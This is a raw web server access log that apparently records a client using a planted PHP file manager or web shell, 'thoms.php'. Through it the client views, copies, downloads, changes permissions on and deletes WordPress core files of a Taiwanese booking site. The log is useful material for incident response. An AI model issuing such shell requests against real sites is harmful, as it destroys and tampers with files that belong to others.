45.135.193.11 - - [11/Sep/2026:23:44:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 200 17939 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:58 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:58 -0400] "GET /thoms.php?del=class-wp-comment-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59435 "http://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:58 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:59 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-site-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:58 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:59 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-widget.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:59 -0400] "GET /thoms.php?chmod=icons.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=icons.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:59 -0400] "GET /thoms.php?chmod=class-wp-block-metadata-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-metadata-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:59 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 200 25563 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:59 -0400] "GET /thoms.php?dl=class-wp-exception.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-exception.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:59 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:59 -0400] "GET /thoms.php?del=class-wp-filter-sentinel.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-filter-sentinel.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:00 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:00 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:00 -0400] "GET /thoms.php?chmod=interactivity-api&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:00 -0400] "GET /thoms.php?dl=class-wp-locale.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:01 -0400] "GET /thoms.php?chmod=class-wp-block.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 200 17316 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:01 -0400] "GET /thoms.php?del=class-wp-block-templates-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-block-templates-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:01 -0400] "GET /thoms.php?chmod=class-wp-block-templates-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11551 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-templates-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:01 -0400] "GET /thoms.php?del=class-wp-http.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:01 -0400] "GET /thoms.php?dl=block-bindings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:01 -0400] "GET /thoms.php?chmod=class-wp-connector-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-connector-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 200 13089 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 200 12778 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:02 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11907 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 200 12761 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:02 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11903 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:02 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:02 -0400] "GET /thoms.php?del=Text&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=Text&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:02 -0400] "GET /thoms.php?del=abilities.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=abilities.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:02 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=deprecated.php HTTP/1.1" 200 66168 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:02 -0400] "GET /booking-wise2.com.tw/wp-includes/functions.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:03 -0400] "GET /booking-wise2.com.tw/wp-includes/ms-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:03 -0400] "GET /booking-wise2.com.tw/wp-includes/capabilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:03 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-network-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:03 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:03 -0400] "GET /thoms.php?dl=kses.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=kses.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=embed.php HTTP/1.1" 200 24802 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:03 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:03 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:03 -0400] "GET /booking-wise2.com.tw/wp-includes/class-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 200 13571 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:04 -0400] "GET /thoms.php?dl=script-modules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:04 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-list-util.php HTTP/1.1" 200 14424 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:04 -0400] "GET /thoms.php?del=class-simplepie.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:04 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59430 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:04 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:04 -0400] "GET /thoms.php?chmod=query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:04 -0400] "GET /thoms.php?del=connectors.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=connectors.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:05 -0400] "GET /thoms.php?del=PHPMailer&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=PHPMailer&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:05 -0400] "GET /thoms.php?dl=rewrite.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59362 "http://163.245.207.76:443/thoms.php?dl=rewrite.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fload.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fload.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:05 -0400] "GET /thoms.php?del=comment-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:05 -0400] "GET /thoms.php?chmod=nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:05 -0400] "GET /thoms.php?chmod=speculative-loading.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=speculative-loading.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:05 -0400] "GET /booking-wise2.com.tw/wp-includes/spl-autoload-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fbookmark-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fbookmark-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:05 -0400] "GET /thoms.php?del=rss.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=rss.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
